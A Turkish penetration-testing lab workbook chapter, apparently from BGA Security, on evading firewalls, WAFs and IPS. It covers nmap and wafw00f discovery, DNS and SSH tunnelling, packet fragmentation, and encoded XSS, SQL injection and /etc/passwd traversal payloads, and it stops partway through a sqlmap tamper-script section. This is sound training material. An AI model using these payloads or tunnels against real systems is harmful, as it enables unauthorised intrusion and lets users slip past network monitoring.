Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
Ağ haritalama (Enumeration), sızma testi metodolojilerinden biridir. Hedef ile aktif bir bağ oluşturulduğunda ve hedefe saldırıda bulunurken giriş noktasını tespit etmek amacıyla sistemin ağ yapısının detaylı belirlenmesidir:
Açık sistemler ve üzerindeki açık portlar, servisler ve servislerin hangi yazılımın hangi sürümü olduğu bilgileri, ağ girişlerinde bulunan VPN, Firewall, IPS cihazlarının belirlenmesi, sunucu sistemler çalışan işletim sistemlerinin ve versiyonlarının belirlenmesi ve tüm bu bileşenler belirlendikten sonra hedef sisteme ait ağ haritasının çıkartılması Ağ haritalama adımlarında yapılmaktadır.
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
Ağ haritalama (Enumeration), sızma testi metodolojilerinden biridir. Hedef ile aktif bir bağ oluşturulduğunda ve hedefe saldırıda bulunurken giriş noktasını tespit etmek amacıyla sistemin ağ yapısının detaylı belirlenmesidir:
Açık sistemler ve üzerindeki açık portlar, servisler ve servislerin hangi yazılımın hangi sürümü olduğu bilgileri, ağ girişlerinde bulunan VPN, Firewall, IPS cihazlarının belirlenmesi, sunucu sistemler çalışan işletim sistemlerinin ve versiyonlarının belirlenmesi ve tüm bu bileşenler belirlendikten sonra hedef sisteme ait ağ haritasının çıkartılması Ağ haritalama adımlarında yapılmaktadır.
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
Linux Yaz Kampı 2014 bünyesinde gittiğim Web Uygulam Güvenliği Ve Güvenli Kod Geliştirme Notlarımı içermektedir.
En güncel hali her zaman Github üzerinde olacaktır. En sağlıklısı ordan edinmeniz olur.
Github repo linki: https://github.com/1zinnur9/wGuvenlik_LYK14
Linux Yaz Kampı 2016 pfSense Firewall ve Router Eğitim Dökümanıİbrahim UÇAR
Bu eğitim dökümanı pfSense 2.2.6 kurulumu/yapılandırması, filtrelenmesi, dhcp, dns, vpn gibi temel servislerinin ne işe yaradıkları ve nasıl yapılandırılacağı gibi konuların işleneceği bir eğitimdir.
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaPRISMA CSI
Bu sunum, Prisma tarafından verilen “Uygulamalı Beyaz Şapkalı Hacker Eğitimi v1” de anlatılan bir üniteye aittir.
PRISMA CSI • Cyber Security and Intelligence www.prismacsi.com
Bu doküman, alıntı vererek kullanılabilir ya da paylaşılabilir ancak değiştirilemez ve ticari amaçla kullanılamaz. Detaylı bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr bağlantısından erişebilirsiniz.
Unutmayın! Siber saldırılarda her türde ve büyüklükteki işletme risk altındadır ve en zayıf halka insan faktörüdür! Hem teorik hem pratik örneklerle oluşan içeriğiyle bu eğitim, son savunma hattınız olan çalışanlarınızın güncel siber tehditleri daha iyi anlayıp gerekli önlemleri almasını sağlamada çok faydalı olacaktır.
BGA Security tarafından her yıl yaklasık olarak 200’e yakın
sızma testi projesi gerçeklestirilmektedir. Bu projeler standart
olmayıp müsterilerin taleplerine göre farklı boyutlarda
olabilmektedir. Bu rapor yapılan çalışmalarda karşılaşılan zafiyetler ve istismar yöntemlerinin istatistiklerini paylaşmak amacıyla hazırlanmıştır.
Fidye yazılımı, kurbanın dosyalarını şifreleyen kötü amaçlı bir yazılım türüdür. Saldırgan, ödeme yapıldıktan sonra
verilerine tekrar erişebilmesi için kurbandan fidye talep eder.
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
Bu raporda 2020 yılının ilk yarısı için Türkiye'de bulunan bankalar adına açılan sahte alan adları
(domain), bu alan adlarının SSL sertifikası durumları ve kayıt bilgilerine yönelik analizler yer almakta
olup, aylara göre artışları ve saldırganların motivasyonları incelenmiştir.
1. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
PENTEST EĞİTİMİ
UYGULAMA KİTABI
BÖLÜM - 4
2. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
İÇİNDEKİLER
4. GÜVENLİK SİSTEMLERİNİ ATLATMA
BU KATEGORİDEKİ LAB UYGULAMA LİSTESİ
4.1. Firewall, Waf, Saldırı Engelleme Sistemi Keşif Çalışması
4.2. DNS Tünelleme Kullanarak Firewall-IPS-Cf Atlatma Çalışması
4.3. Parçalanmış Paketlerle Uygulama Seviyesi Güvenlik Duvarı Atlatma
4.4. SSH Tüneli Kullanarak Firewall-IPS-Cf Atlatma Çalışması
4.5. Encoding Yöntemleri Kullanarak IPS Atlatma
4.6. SSL Üzerinden Waf-IPS Sistemlerini Atlatma
4.7. Sql Injection Saldırılarında Tamper Script Kullanarak IPS Atlatma
4.8. Netcat Kullanarak Tersine Kanal Açma Yöntemleri
3. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.1. Firewall,WAF, SaldırıEngelleme SistemiKeşif Çalışması
Amaç: Güvenlik cihazlarının ve saldırı engelleme araçlarının keşfedilmesi.
Uygulama:
Güvenlik duvarı keşif çalışmasını 3 aşamada inceleyebiliriz.
1.Adım
Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili
portuna SYN paketi gönderir. Eğer servis çalışıyor ve hizmet veriyor ise karşılık olarak
hedef sistem istemciye SYN+ACK paketi ile cevap döner. Bu şekilde servisin açık
olduğu görülebilir.
root@kali:~# nmap -sS -p80 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.cnn.com
PORT STATE SERVICE
80/tcp open http
2.Adım
Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili
portuna SYN paketi gönderir. Eğer servis kapalı ve hizmet vermiyor ise karşılık olarak
hedef sistem istemciye RST paketi ile cevap döner. Bu şekilde servisin kapalı olduğu
görülebilir.
root@kali:~# nmap -sS -p443 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)
4. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.cnn.com
PORT STATE SERVICE
443/tcp closed https
3.Adım
Bağlantı kurmak isteyen taraf hedef sistem ile iletişime geçtiği zaman gönderdiği SYN
paketine cevap alamıyorsa, yani hedef sistem istemci tarafın SYN paketine SYN+ACK
ya da RST gibi bir cevap dönmüyorsa hedef sistemin önünde bir güvenlik cihazının
olduğundan söz edilebilir. Bu durumda iletişime geçilmek istenen port filtered olarak
görünecektir ve erişilemeyecektir.
root@kali:~# nmap -sS -p22 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.25)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.26
rDNS record for 157.166.226.25: www.cnn.com
PORT STATE SERVICE
22/tcp filtered SSH
Waf Keşif Çalışması
Günümüz internet dünyasında siber saldırıların artması ile savunma tarafındaki
önlemler de artmaya başlamıştır. Özellikle web uygulamalarına yönelik gerçekleştirilen
saldırılar büyük bir artış göstermiştir. Bu saldırılar karşısında ise Web Application
Firewall (WAF) ürünleri değer kazanmıştır. Layer 7’de çalışan bu cihazlar ile web
5. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
uygulamalarına karşı yapılan saldırılar büyük ölçüde engellenebilmektedir. Herhangi bir
sızma testinde atılması gereken başlıca adımlardan birisi, hedef sistem önünde aktif bir
güvenlik cihazının olup olmadığının kontrol edilmesidir. Sistemler genelde WAF ya da
IPS gibi sistemlerle korunur. Bu durumda test öncesinde bunların tespit edilmesi ve
testlerin ona göre gerçekleştirilmesi gerekmektedir.
Kali Linux üzerinde hazır olarak gelen wafw00f aracı ile hedef sistem önünde aktif
olarak çalışan bir WAF cihazının olup olmadığını anlamak mümkündür. Kullanımı
oldukça basit olan bu araç aşağıdaki gibi kullanabilir. Öncelikle -h parametresi
kullanılarak aracın hangi özelliklere sahip olduğunu ve parametreleri görülebilir.
root@kali:~# wafw00f -h
Options:
-h, --help show this help message and exit
-v, --verbose enable verbosity - multiple -v options increase
verbosity
-a, --findall Find all WAFs, do not stop testing on the first one
-r, --disableredirect
Do not follow redirections given by 3xx responses
-t TEST, --test=TEST Test for one specific WAF
-l, --list List all WAFs that we are able to detect
--xmlrpc Switch on the XML-RPC interface instead of CUI
--xmlrpcport=XMLRPCPORT
Specify an alternative port to listen on, default 8001
-V, --version Print out the version
Genel olarak kullanımı ise aşağıdaki gibidir.
6. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
root@kali:~# wafw00f waftest.bgabank.com.tr
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking waftest.bgabank.com.tr
Generic Detection results:
The site waftest.bgabank.com.tr seems to be behind a WAF
Reason: The server header is different when an attack is detected.
The server header for a normal response is "Microsoft-IIS/7.0", while the server
header a response to an attack is "Microsoft-HTTPAPI/2.0.",
Number of requests: 13
Görüldüğü üzere parametre olarak sadece hedef sistemi vermek yeterli olmaktadır. Çok
kısa bir sürede hedef sistemin WAF ile korunduğu bilgisini bize vermektedir.
7. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.2. DNS Tünelleme KullanarakFirewall/IPS/CFAtlatma Çalışması
Amaç: İstemci tabanlı alınan güvenlik önlemlerinin DNS tünel kullanılarak aşılması.
Yerel ağdan internete giden tüm port ve protokoller Firewall tarafından engellenmiştir.
Web erişimi için hizmet veren proxy ise yalnızca yetkili kullanıcılara internet erişimi
sağlamaktadır.
Bu sistemlere takılmadan sınırsız ve kayıt altına alınamaz internet trafiği nasıl elde
edilebilir?
Uygulama: DNS Tunnel
Bir protokol içerisinde başka bir protokole ait veri taşıma işlemine protokol tünelleme
denir. DNS paketleri içersinden herhangi bir tcp/udp paketini (örneğin, http,ftp, ssh vb.)
taşıma işlemi de DNS Tünnelleme olarak isimlendirilir.
DNS sunucu kendisinden sorgulanan bir DNS isteğine önce önbelleğini kontrol ederek
yanıt vermek ister eğer alan adı dns önbelleğinde yoksa, sorgulanan alan adından
sorumlu dns sunucuyu bulur ve ona sorar. Sorgulanan alan adından yetkili dns sunucu
ilgili dns kaydı için yanıt verir ve DNS sunucu bu yanıtı istemciye iletir.
Örnek
Kullanıcı, tunnel.bga.com.tr alan adını sorgulamak istediğinde yerel ağındaki dns
sunucu bu kayıt önbelleğinde yoksa bu isteğe doğrudan yanıt veremez.
tunnel.bga.com.tr alan adından sorumlu dns sunucuyu bulur dns.bga.com.tr ve ona
tunnel A kaydını sorar aldığı yanıtı istemciye iletir.
8. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Tcp-Over-Dns Çalışma Prensibi
Tcp-Over-Dns client, DNS verisini encode ederek ISP'nin DNS sunucusuna iletir.
ISP'nin DNS sunucuyu bu isteğe yanıt veremez ve DNS isteğini tcp-over-dns server’a
iletir. Tcp-Over-Dns server gelen isteği decode eder ve ilgili isteğe yanıtı client’a geri
gönderir. DNS isteklerinin, DNS sunucu tarafından önbelleğe alınma ihtimaline karşı
her DNS sorgusunda rastgele bir subdomain kullanılır.
Ön Gereksinimler:
1. DNS isteklerinize yanıt alabildiğinizi doğrulamalısınız. Örneğin; 'nslookup
google.com.tr' komutu ile google IP adreslerini öğrenebiliyorsanız. DNS isteklerinize
yanıt veriliyordur.
2. İnternet dünyasında sizin kontrolünüzde olan bir sunucu. Administrator veya root
yetkilerine sahip olmalısınız. UDP 53 portu farklı bir uygulama tarafından kullanılmıyor
olmalı ve erişim problemi yaşanmamalıdır.
3. Kullandığınız işletim sistemine göre Tcp-Over-Dns yazılımı. Mutlaka java kurulu
olmalıdır.
4. http://analogbit.com/software/tcp-over-dns
Tcp-Over-Dns Server Yapılandırması
Bu işlem için bir alan adına ve bu alan adından sorumlu dns sunucuya ihtiyaç vardır. Bu
örnekte aşağıdaki DNS kayıtları oluşturup, kullanılmıştır.
NS = dns.bga.com.tr
A = tunnel.bga.com.tr
tcpoverdns, multi platform çalışmaktadır (Windows,Linux,*BSD). Bu örnekde DNS
sunucu FreeBSD istemci ise Windows 7 işletim sisteminde kurulmuştur.
Not: Tcp-Over-Dns server, gelen trafiği port 443 (ssh servisine) yönlendirecektir.
9. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Tcp-Over-Dns Client Yapılandırması
İstemci bilgisayarda client-example.bat dosyası düzenlenerek DOMAIN değeri bu iş için
oluşturulan alan adı ile değiştirilir.
client-example.bat dosyası çalıştırıldığında tünel için 127.0.0.1:8080 portu dinleme
alınacaktır.
Tcp-Over-Dns Client, yerel bilgisayarda 8080 portunu dinleme açtı ve bu porta yapılan
bağlantıları tunnel.bga.com.tr makinasının 443 (ssh) portuna iletecektir.
10. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Test için, putty aracı ile 127.0.0.1:8080 portuna bağlantı isteği başlatıldığında
bga.com.tr adresinin 443 portuna erişim kurulacaktır.
SSH trafiği Firewall tarafından engellenmiş olsada, DNS paketleri ile ssh trafiği internete
kaçırılmıştır.
Bu yöntem ile birçok yerde bulunan Hotspot sistemleri de atlatılabilmek mümkündür.
11. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Iodine ile Dns Tünelleme
Diğer bir tünelleme yazılımı olan iodine oldukça kullanışlı ve stabil bir araçtır. Sunucu
istemci mantığı ile çalışmakta olup sunucu tarafında servisi çalıştırdıktan sonra
istemciden bağlanması oldukça kolaydır.
Kurulumu :
İlk olarak kaynak kod indirilip “make” diyerek sunucu tarafında kurulum yapılır. Daha
sonra sunucu tarafında aşağıdaki gibi bir komut çalıştırılır.
iodined -c -P P@ssw0rd 192.168.50.1 tunnel.example.com
Buradaki IP karşılığı olmayan bir IP adresidir. Başarılı bir şekilde bağlanıldığı zaman
belirlenen o IP aralığından bir IP alınacaktır. -P ile parola belirlenir.
Daha sonra istemci tarafında ise aşağıdaki gibi bir komut çalıştırılır ve bağlantı kurulur.
iodine tunnel.example.com
Bu komut çalıştırıldıktan sonra size parolayı soracaktır ve doğru girdikten sonra
tünelleme gerçekleşecektir. Bağlantı başarılı ise ilk başta belirlenen IP aralığından dns0
arayüzüne otomatik olarak bir IP alınmış olacaktır.
Örnek bir komut çıktısı aşağıdaki gibidir.
root@pentest:/home/cihat# ifconfig
dns0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00
inet addr:192.168.50.1 P-t-P:192.168.99.1 Mask:255.255.255.224
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1130 Metric:1
RX packets:535 errors:0 dropped:0 overruns:0 frame:0
TX packets:672 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:143210 (139.8 KiB) TX bytes:370746 (362.0 KiB)
12. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Bu işlemden sonra sorunsuz bir şekilde direk olarak internete çıkmak için aynı sunucuya
ssh tünelleme yapılırsa proxy kullanmadan direkt internet erişimi sağlanabilecektir.
13. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.3. Parçalanmış Paketlerle UygulamaSeviyesiGüvenlikDuvarı
Atlatma
Amaç: Güvenlik duvarlarının bypass edilebilmesi için, paketlerin parçalanarak
yollanması.
Uygulama: Güvenlik duvarına bir paket geldiğinde onu başlık bilgilerine bakarak
filtreleyebilir fakat paket parçalanmış bir paket ise sadece ilk parça paketi
filtreleyebilecektir, diğer parça paketler firewalldan süzülerek geçecektir. Güvenlik
duvarları gelip giden paketleri kural tablosu ile karşılaştırabilmesi için paketlerin parçalı
olmaması gerekir. Bu da güvenlik duvarlarının paket birleştirme özelliğine sahip
olmalarını zorunlu tutar. OpenBSD PF güvenlik duvarındaki scrub özelliği kullanılarak
parçalanmış paketlerin güvenlik duvarında tekrar birleştirilmesi ve hedefe bu şekilde
ulaştırılması sağlanabilir.
OpenBSD PF ve parçalanmış paketler
Scrub özelliği
Fragment reassemble: Gelen parçalanmış paketleri hedefe iletmeden önce
birleştirerek göndermek için kullanılır. Bu seçeneğin yararı güvenlik duvarları paket
tamamlanmadan kuralları tam uygulamayacağı için fragment paketlerin güvenlik duvarı
kurallarına gelmeden birleştirilmesi gerekir. Ek olarak fragment crop, fragment drop-ovl,
no-df seçenekleri de incelenebilir.
Parçalanmış Paketler ve Saldırı Tespit Sistemleri
Parçalanmış paketler konusunda en sıkıntılı sistemler IDS/IPS’lerdir. Bunun nedeni bu
sistemlerin temel işinin ağ trafiği inceleme olmasıdır. Saldırı tespit sistemleri gelen bir
paketin/paket grubunun saldırı içerikli olup olmadığını anlamak için çeşitli kontrollerden
geçirir. Eğer bu kontrolleri geçirmeden önce paketleri birleştirmezse çok rahatlıkla
kandırılabilir.
Örneğin HTTP trafiği içerisinde “/bin/bash” stringi arayan bir saldırı imzası olsun. IDS
sistemi 80.porta gelen giden her trafiği inceleyerek içerisinde /bin/bash geçen paketleri
arar ve bu tanıma uyan paketleri bloklar. Eğer IDS sistemi paket birleştirme işlemini
uygun bir şekilde yapamıyorsa fragroute veya benzeri bir araç kullanarak /bin/sh
stringini birden fazla paket olacak şekilde (1. Paket /bin, 2.paket /bash)gönderip IDS
14. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
sistemini atlatmak mümkündür. ngrep aracını IDS olarak kullanarak fragroute ile
atlatılabilir.
İlk olarak ngrep aracını kullanarak /etc/passwd string ifadesinin yakalanması test
edilecektir.
Görüldüğü üzere telnet ile kurulan bağlantıda /etc/passwd ifadesi yakalanmış ve ekrana
basılmıştır. Ama aynı istek fragroute aracı ile parçalanmış paketler halinde gönderilirse
IDS görevi gören ngrep aracı bu isteği yakalayamayacaktır. Bu durumda istek IDS’e
takılmadan ve başarılı bir şekilde gerçekleşecektir. Aşağıdaki ekran görüntüsünde aynı
isteğin parçalanmış paketler halinde gönderilmesi gösterilmiştir.
15. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.4. SSH TüneliKullanarak Firewall/IPS/CF Atlatma Çalışması
Amaç: Güvenlik araçlarının SSH tünel kullanılarak atlatılması.
Uygulama: Sızma testi esnasında kurum ağından dışarıya yapılan kısıtlamalar en sık
karşılaşılan durumlardan biridir. Böyle bir durumda belirli portlar haricindeki portlar
erişime kapatılmıştır. Bunları aşmak için ise açık olan port üzerinden dışardaki bir
sunucuya SSH tünnel kurulumu yapılabilir.
Diğer bir durum ise sızma testleri yapılırken genellikle testi yaptıran firma kendisine
hangi IP adresi, IP adreslerinden denemeler yapıldığını bilmek ister. Bazı durumlarda
Firewall/IPS/WAF sistemlerden bu IP adreslerine özel erişimler tanımlanması da
gerekebilir.
Eğer sızma test ekibi birden fazla kişiden oluşuyorsa tek bir IP adresinden çıkış
yapabilmek için ofis çıkış IP adresi ya da internet üzerinden alınacak VPS sunucular
kullanılabilir. VPS sunucunun Linux olması durumunda birden fazla kişi bu sunucuya
bağlanarak sızma testlerini gerçekleştirebilir.
Sunucu üzerinden iki farklı şekilde sızma testleri gerçekleştirilebilir. Bunlardan biri Linux
sunucu üzerine VPN kurularak tüm sızma test uzmanları VPN'le bağlanıp sunucu
üzerinden çıkış yaparak test gerçekleştirir.
VPN kurulumu ve yönetimi biraz daha zahmetli olduğu için diğer yöntem olan uzaktaki
sunucuyu SOCKS Proxy olarak kullanma daha tercih edilebilir ya da SSH üzerinden
kolay VPN kurulumu yapabilecek SSHuttle aracı kullanılabilir. Bu işlem çoğu zaman
yasaklı sitelere girmek veya şirket networklerinden içerik filtreleme sistemlerini atlatma
veya kablosuz ağlarda güvenli dolaşma için vs. kullanılır.
Bunun için proxy sunucumuz üzerinde SSH Port adresi 443 olarak set edildikten sonra
yerel sistemde aşağıdaki komut ile uzak sisteme SSH tünel kurulması ve yereldeki
TCP/8080 portuna gelen isteklerin sunucu IP adresiyle internete çıkartılması sağlanır.
root@pentest-pc:~# SSH -D 8080 username@proxysunucu -p 443
Fakat burada localdeki 8080 portu socks proxy desteği olan araçlarda set edilip
kullanılabilir. Örneğin browserlarda(ie,firefox v.s) proxy ayarından socks proxy bölümü
localhost:8080 yapılarak browser üzerinden hedefe proxy üzerinden gidebiliriz. Fakat bu
16. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
işlem pentest işlemlerinde bize yetmeyebilir. Yani bazı hazır otomatize araçlar zap,burb
suite vs.) kullanmak istediğimizde karşımıza socks proxy desteğinin olmaması gibi
sorunlar çıkabilir.
Bu durumda pentest yapacağımız araçların da kurduğumuz SSH proxy bağlantımız
üzerinden geçmesini isteyebiliriz. Yani localimizin tüm trafiğini bu uzak proxy sunucuya
secure olarak göndermek isteyebiliriz. Bunun için SSHuttle aracı kullanılabilir. Bu araç
ile proxy sunucusunun istenilen portuna SSH bağlantınızı kurabilir ve tüm internet
trafiğinizin bu proxy üzerinden gitmesini sağlayabilirsiniz. Böylece zap gibi güvenlik
araçlarının socks proxy desteginin olmamasından dolayı yaşanabilecek zorluklar
giderilebilir.
Kurulum:
SSHuttle indirmek için https://github.com/apenwarr/SSHuttle adresini ziyaret
edebilirsiniz.
SSHuttle aracının basit kullanımı aşağıdaki gibidir.
root@pentest-pc:/SSHuttle# ./SSHuttle -r username@proxysunucu:SSHportu 0.0.0.0/0 -
vv
Sizden ilgili kullanıcıya ait parolayı isteyecek girdikten sonra tüm trafiğiniz artık proxy
server üzerinden geçecektir. Bundan sonra pentest için kullanılan proxy'lik de yapan
ZAP/Burb suite gibi uygulamalar rahatlıkla kullanılabilir.
Örneğin ZAP kullanmak için, browser üzerinde http proxy ayarı localhost:8080 olarak
girildikten sonra ilgili siteler üzerinde gezinti yapılarak ZAP aracının üzerinden trafiğin
geçmesi ve cache'lenmesi sağlanabilir.
17. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.5. Encoding YöntemleriKullanarak IPS Atlatma
Amaç: Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise
saldırı isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding
yöntemleri ile değiştirerek yollamaktır. Örneğin günümüzde kullanılan çoğu uygulamada
web uygulama problemlerinin ortaya çıkmasına neden olan en büyük etken ', ", <, >, /,
;, |, gibi karakterlerdir. Sunucu tarafındaki IPS’ler üzerinde oluşturulan blacklistler ile bu
karakterler engellenmek istense de encoding yöntemleri ile bu kısıtları aşmak oldukça
kolay olacaktır.
Örneğin web uygulamalarında en çok can yakan '(tırnak) karakterinin farklı encoding
yöntemleri ile gösterimi aşağıdaki gibidir.
URL Encode - %27
Double URL Encode - %2527
Unicode URL Encoding - %u0027
Base64 - Jw==
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - uc0a7
HTML Entity - '
HTML Entity Number - 
Decimal - '
Örnek olarak www.bga.com/index.php?id=<script>alert(‘BGA’)</script> isteği
doğrudan url adresi ile istenirse aktif güvenlik cihazı bu isteği bloklayacaktır ve
erişilemecektir. Ama aşağıdaki gibi encoding metotları ile bu kısıtı aşmak oldukça
kolaydır.
URL Encode - %3Cscript%3Ealert%28%u2018BGA%u2019%29%3C/script%3E
Double URL Encode
18. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
%253Cscript%253Ealert%2528%25u2018BGA%25u2019%2529%253C/script%253E
Base64 - PHNjcmlwdD5hbGVydCgYQkdBGSk8L3NjcmlwdD4=
Decimal - 3c7363726970743e616c657274281842474119293c2f7363726970743e
Yine en çok kullanılan payloadlardan biri olan ‘or ‘1’=’1 ifadesinin çeşitli encoding
yöntemleri aşağıdaki gibidir.
URL Encode - +%u2018or+%u20181%u2019%3D%u20191
Double URL Encode -
%2B%25u2018or%2B%25u20181%25u2019%253D%25u20191
Base64 - IBhvciAYMRk9GTE=
En tehlikeli saldırılardan biri olan local file inclusion ya da directory traversal encoding
yöntemleri ile rahatlıkla aşılabilir. IPS’ler genelde ‘..’ ve ‘../’ ifadesini gözrdükleri zaman
bunu saldırı olduğunu anlarlar ve ona göre davranırlar. Ama ../../../../../../../etc/passwd
gibi bir payload encoding yöntemleri kullanılarak gönderilirse, istenilen sayfa elde
edilecektir.
HEX - 2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
Base64 - Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
19. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.6. SSL ÜzerindenWAF/IPS SistemleriniAtlatma
Amaç: SSL protokolü üzerinden güvenlik önlemlerinin atlatılması.
Uygulama:
IPS’ler yapılandırılırken HTTP bağlantısı için yapılan konfigürasyonlar bazen HTTPs için
yapılmayabiliyor. Böyle bir durumda HTTP bağlantısı için alınan güvenlik önlemleri https
bağlantısı için devre dışı kalmış oluyor. Bu çalışmada her IPS’in direk olarak engellediği
“cmd.exe” anahtar kelimesini kullanarak küçük bir uygulama yapılacaktır.
http://ipstest.bgabank.com üzerinde bir IPS bulunmaktadır ve belli başlı istismar
ataklara içeren kelimelere karşı önlem alınmış durumdadır. Temel olarak IPS’in
olduğunu ve engelleme yaptığını görmek için hedef site üzerindeki search kısmında
cmd.exe ifadesini aratmak yeterli olacaktır.
Görüldüğü üzere IPS tarafından kelime engellendiği için bağlantı direk olarak
engellenmiş ve IPS tarafından istek reddedilmiştir. Şimdi aynı siteye HTTPs ile
bağlanıp “cmd.exe” ifadesi tekrar aratılacak olursa;
20. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
https:/ipstest.bgabank.com adresi üzerinde IPS yapılandırması olmadığı için yapılan
isteklere IPS değil web sunucusu cevap dönmüştür. Yani site üzerinde aratılan
“cmd.exe” kelimesi sitede olmadığı için web sunucu tarafından “Aradığınız Kayıt
Bulunamadı” ifadesi dönmüştür. Eğer IPS aktif olsaydı direk olarak bağlantıya reset
cevabı dönmüş olacaktı.
21. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.7. SQL Injection SaldırılarındaTamperScriptKullanarak IPS Atlatma
Amaç: SQL enjeksiyonu zafiyeti barındıran ve güvenlik cihazları tarafından korunan
sistemlerin sqlmap tamper script kullanılarak istismar edilmesi.
Uygulama: Veritabanı olarak olarak MS-SQL sunucu kullanan ve önünde WAF/IPS
cihazı bulunan bir web uygulamasındaki SQL injection açıklığı, sqlmap tamper script
kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir.
Birçok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide
bulmak için boşluk karakteri referans alınır. Örneğin union ve select kelimelerini
sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve
sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu
kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir.
Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar;
admin';union select null,null,ad from users--
Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu SQL
sorgusu IPS cihazına takılmayacaktır;
admin;'unionAAselectAAnull,null,adAAfromAAusers--
Not: AA test amaçlı verilmiştir. Backend dbms üzerinde çalışacak bir ifade degildir. AA
yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir.
Şimdi bu durumu veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan
bir web uygulamasındaki SQL injection açıklığını istismar etmede nasıl
kullanılabileceğine değinelim.
Mssql üzerinde boşluk karakterine alternatif olabilecek ifadeleri bir diziye atarak her
seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve
sorguyu bu şekilde hedefe gönderen space2mssqlblank.py sqlmap tamper scriptini
kullanacağız.
22. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
